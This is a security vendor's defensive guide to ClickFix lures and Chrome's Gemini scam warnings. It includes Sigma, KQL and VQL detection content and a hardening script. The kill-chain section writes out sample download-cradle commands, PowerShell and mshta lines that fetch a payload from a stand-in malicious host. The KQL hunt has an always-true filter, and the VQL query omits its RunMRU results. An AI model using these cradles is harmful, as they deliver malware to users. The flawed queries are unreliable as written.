Back to Intelligence

Chrome's Gemini-Powered Scam Detection vs. ClickFix Attacks — Defender's Guide to Detection and Hardening

SA
Security Arsenal Team
October 21, 2026
10 min read

Google has begun rolling out new scam protections in Chrome that lean on its Gemini AI models to do two things defenders have been asking browsers to do for years: detect deceptive websites on-device, and warn users when a page tries to trick them into copying and executing suspicious commands — the hallmark of the ClickFix social-engineering technique that has become one of the most prolific initial-access vectors of the past year.

This matters because ClickFix doesn't exploit a software vulnerability. It exploits the gap between the browser's security boundary and the user's trust. The victim is shown a fake CAPTCHA, a bogus "browser update required" error, or a counterfeit Cloudflare verification page, and is instructed to press Win+R, paste a clipboard payload, and hit Enter. The payload — typically a powershell, mshta, or wscript one-liner — executes entirely with the user's own privileges, bypassing every browser sandbox and most gateway controls. Every one of the ransomware precursors, infostealers, and RAT droppers delivered this way ran because a human was convinced to run it.

Chrome's new defenses are a meaningful control, but they are a warning dialog, not a prevention control. Users click through warnings. Your detection and hardening posture must assume they will.

Technical Analysis

Affected platforms

  • Google Chrome (stable channel, Windows, macOS, and ChromeOS) — the new Gemini-powered scam detection and ClickFix command-copy warnings are being rolled out through Chrome's Enhanced Protection / Safe Browsing stack.
  • Windows endpoints remain the primary ClickFix target because the technique leans on the Run dialog (Win+R) and living-off-the-land binaries: powershell.exe, mshta.exe, wscript.exe, cscript.exe, curl.exe, and msiexec.exe.
  • No CVE is associated with this technique — it is a pure social-engineering attack chain, which is precisely why patch-centric defenses don't apply.

How a ClickFix attack works (defender's view of the kill chain)

  1. Delivery — The victim lands on a compromised legitimate site (via injected script or malicious ad) or an SEO-poisoned / typosquatted page. Malvertising and forum spam are also common delivery vectors.
  2. Lure — The page renders a fake CAPTCHA ("Verify you are human"), a fake reCAPTCHA, or a fake error such as "Your browser is out of date" or "The document failed to load." The page uses JavaScript to silently write a malicious command to the clipboard — often via navigator.clipboard.writeText() or a hidden textarea trick — sometimes obfuscated so a user glancing at it won't recognize it.
  3. Instruction — The victim is told to press Win+R (or open Terminal / PowerShell on macOS), paste, and press Enter. Because the user performs the action, endpoint controls that watch for browser-spawned children never fire — the process tree shows explorer.exe or the Run dialog as the parent.
  4. Execution — The pasted command is typically a download cradle, e.g. powershell -w hidden -ep bypass iex (irm https://...) or mshta https://malicious.example/payload.hta. These stage infostealers (Lumma, Vidar, ACR), NetSupport RAT, or ransomware precursors.
  5. Persistence & staging — Registry Run keys, scheduled tasks, and dropped payloads in %AppData%, %Temp%, or %ProgramData%.

What Chrome's Gemini protection changes

Chrome's new capability uses Gemini models to analyze page content on-device or via Safe Browsing to (a) identify scam/deceptive sites even when they are novel and unlisted, and (b) detect when a site has placed a suspicious command on the clipboard and the user is being coached to run it, presenting an interstitial warning. This shifts detection earlier in the kill chain — at step 2/3, before execution. However: the warning can be dismissed, Enhanced Protection may not be enabled by default for all users, and the same ClickFix lures are actively pushed via non-Chrome browsers, email, SMS, and messaging apps. The technique is browser-agnostic; the browser control is not.

Exploitation status

ClickFix is confirmed, widespread, active in-the-wild abuse across crimeware and state-nexus intrusion sets alike. It is a technique, not a vulnerability, so there is no KEV entry — the relevant CISA/NSA guidance is around restricting scripting interpreters and user training against clipboard-based lures.

Detection & Response

The most reliable telemetry for ClickFix is process lineage and command-line content: a user-triggered Run-dialog execution producing a PowerShell/mshta child with download-cradle syntax, followed by a network connection to a rare external host. The rules below target that behavior.

Sigma Rules

YAML
---
title: ClickFix Download Cradle Executed via PowerShell
description: Detects PowerShell execution with typical ClickFix download-cradle syntax (hidden window, bypass policy, IEX/Invoke-WebRequest to remote payload), consistent with a user pasting a command into the Run dialog after visiting a malicious page.
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_cradle:
    CommandLine|contains:
      - 'iex'
      - 'Invoke-Expression'
      - 'Invoke-WebRequest'
      - 'irm '
      - 'iwr '
      - 'curl.exe'
      - 'DownloadString'
      - 'Start-BitsTransfer'
  selection_evasion:
    CommandLine|contains:
      - '-w hidden'
      - '-WindowStyle Hidden'
      - '-ep bypass'
      - '-ExecutionPolicy Bypass'
      - '-enc'
      - '-e '
      - 'frombase64string'
  condition: selection_img and selection_cradle and selection_evasion
falsepositives:
  - Legitimate IT automation scripts downloaded and run by administrators; tune by parent process and signer
level: high
---
title: ClickFix Execution via Mshta or Scripting Host from Run Dialog
description: Detects mshta.exe or wscript/cscript being launched by explorer.exe (typical of a Win+R pasted command) reaching out to a remote URL, a signature of ClickFix lures instructing users to paste an mshta one-liner.
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith:
      - '\explorer.exe'
  selection_img:
    Image|endswith:
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\msiexec.exe'
  selection_cli:
    CommandLine|contains:
      - 'http://'
      - 'https://'
  condition: all of them
falsepositives:
  - Rare legitimate enterprise software installers using mshta; enterprise LOB msiexec deployments from internal share
level: high
---
title: Suspicious Run Dialog (Win+R) Command Execution
description: Detects processes spawned directly by the Windows Run dialog context (explorer.exe parent) with command lines containing scripting, encoded, or URL-based content — a strong ClickFix post-paste indicator.
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: '\explorer.exe'
  selection_cli:
    CommandLine|contains:
      - 'powershell'
      - 'mshta'
      - 'wscript'
      - 'cmd /c'
      - 'cmd.exe /c'
      - 'rundll32'
      - 'regsvr32'
  filter_known:
    CommandLine|contains:
      - 'control.exe'
      - 'appwiz.cpl'
      - 'ncpa.cpl'
      - 'services.msc'
  condition: selection_parent and selection_cli and not filter_known
falsepositives:
  - Power users and helpdesk staff manually launching tools via Win+R; baseline the environment and allowlist known admin patterns
level: medium

KQL — Microsoft Sentinel / Defender

Hunt for the ClickFix pattern: a user-context process (parent explorer.exe) executing a download cradle within a short window, then establishing an outbound connection. Correlate process and network telemetry from Defender for Endpoint.

KQL — Microsoft Sentinel / Defender
// ClickFix hunt: Run-dialog-spawned scripting with download-cradle syntax, plus follow-on network connection
let Lookback = 7d;
let SuspiciousProcs =
    DeviceProcessEvents
    | where TimeGenerated > ago(Lookback)
    | where InitiatingProcessFileName =~ "explorer.exe"
    | where FileName in~ ("powershell.exe", "pwsh.exe", "mshta.exe", "wscript.exe", "cscript.exe", "cmd.exe", "curl.exe")
    | where ProcessCommandLine has_any (
        "iex", "Invoke-Expression", "Invoke-WebRequest", "irm ", "iwr ",
        "DownloadString", "Start-BitsTransfer", "frombase64string",
        "-enc", "-ep bypass", "ExecutionPolicy Bypass",
        "http://", "https://")
    | project DeviceId, DeviceName, AccountName, ProcTime=TimeGenerated,
              FileName, ProcessCommandLine, ProcessId, SHA256, FolderPath;
SuspiciousProcs
| join kind=leftouter (
    DeviceNetworkEvents
    | where TimeGenerated > ago(Lookback)
    | project DeviceId, NetTime=TimeGenerated, InitiatingProcessId, RemoteUrl, RemoteIP, RemotePort
) on $left.ProcessId == $right.InitiatingProcessId and DeviceId
| where isnotempty(RemoteIP) or isempty(RemoteIP)
| summarize FirstSeen=min(ProcTime), LastSeen=max(ProcTime), Networks=make_set(RemoteUrl), RemoteIPs=make_set(RemoteIP)
    by DeviceName, AccountName, FileName, ProcessCommandLine
| order by FirstSeen desc;

Velociraptor VQL

Hunt endpoints for the same execution lineage, and enumerate the RunMRU registry artifact — which records commands typed into the Win+R dialog and is direct forensic evidence of a pasted ClickFix command.

VQL — Velociraptor
-- Hunt: ClickFix indicators — RunMRU artifact plus explorer-spawned scripting/download cradles
LET runmru = SELECT
    Key.OSPath AS KeyPath,
    Key.Mtime AS KeyModified,
    { SELECT Data.value AS ValueName, String.Data AS Command FROM items(item=Key) } AS Entries
FROM foreach(row={ SELECT OSPath FROM glob(globs='HKEY_USERS/*/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU/*', accessor='registry') })

LET procs = SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE CommandLine =~ '(?i)(iex|invoke-expression|invoke-webrequest|downloadstring|-enc|-ep bypass|start-bitstransfer|frombase64string)'
   OR (Exe =~ '(?i)mshta\.exe$' AND CommandLine =~ '(?i)https?://')

SELECT 'process' AS Source, Name AS Detail1, CommandLine AS Detail2, Username AS Detail3, CreateTime AS Detail4 FROM procs

Remediation / Hardening Script

PowerShell
# ClickFix hardening and verification for Windows endpoints (run elevated)
# 1) Verify Chrome is current (Gemini scam protections roll out via Chrome updates)
$chrome = (Get-Item "${env:ProgramFiles}\Google\Chrome\Application\chrome.exe" -ErrorAction SilentlyContinue).VersionInfo.ProductVersion
Write-Output "Installed Chrome version: $chrome  (update via chrome://settings/help or your software distribution tool)"

# 2) Enforce Chrome Safe Browsing Enhanced Protection via policy (enables strongest scam/interstitial protections)
New-Item -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -Name "SafeBrowsingProtectionLevel" -Value 2
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -Name "SafeBrowsingExtendedReportingEnabled" -Value 1
Write-Output "Chrome Safe Browsing Enhanced Protection enforced (level 2)."

# 3) Disable Win+R Run dialog via policy (high-value break-glass control for ClickFix; test for power users)
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "NoRun" -Value 1
Write-Output "Run dialog disabled for current user (NoRun=1). Revert by setting NoRun to 0."

# 4) Constrain scripting: enforce PowerShell Constrained Language Mode via AppLocker/WDAC is preferred;
#    at minimum, block Office/child abuse patterns and enable Script Block + Module logging for forensics
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
Write-Output "PowerShell Script Block and Module logging enabled (events in Microsoft-Windows-PowerShell/Operational)."

# 5) Quick sweep: dump RunMRU for the current user to check for pasted commands
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue |
  Select-Object -Property * | Out-String | Write-Output

Remediation

  1. Update Chrome to the latest stable build across the fleet via your software distribution tooling, and confirm rollout of the Gemini scam-protection features. Google's announcement: https://www.bleepingcomputer.com/news/google/google-chrome-adds-gemini-powered-scam-detection-warns-users-of-clickfix-attacks/
  2. Enforce Safe Browsing Enhanced Protection via Chrome Enterprise policy (SafeBrowsingProtectionLevel = 2) so users can't silently downgrade to standard protection.
  3. Disable or restrict the Run dialog (NoRun policy) for standard users where operationally feasible — this single control breaks the most common ClickFix instruction set.
  4. Attack Surface Reduction: enable ASR rules blocking Office child processes and script-based content; deploy AppLocker/WDAC to constrain mshta.exe, wscript.exe, and unsigned PowerShell for standard users. PowerShell Constrained Language Mode materially blunts download cradles.
  5. Enable PowerShell Script Block, Module, and Transcription logging and forward Microsoft-Windows-PowerShell/Operational (Event IDs 4103/4104) and Sysmon process-creation telemetry to your SIEM — the Sigma and KQL content above depends on it.
  6. Egress filtering: block direct outbound downloads of executables/scripts from uncategorized domains at the proxy, and alert on curl.exe, certutil.exe, and mshta.exe making external connections.
  7. User training with specifics: teach the ClickFix tell — no legitimate website will ever ask you to press Win+R, paste text, and press Enter to "verify" or "fix" anything. Run a simulated ClickFix phishing exercise; measure and coach.
  8. Bookmark and sync the RunMRU check into your IR playbooks — when a user reports a suspicious page, RunMRU plus the PowerShell operational log usually reconstructs the full pasted command within minutes.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.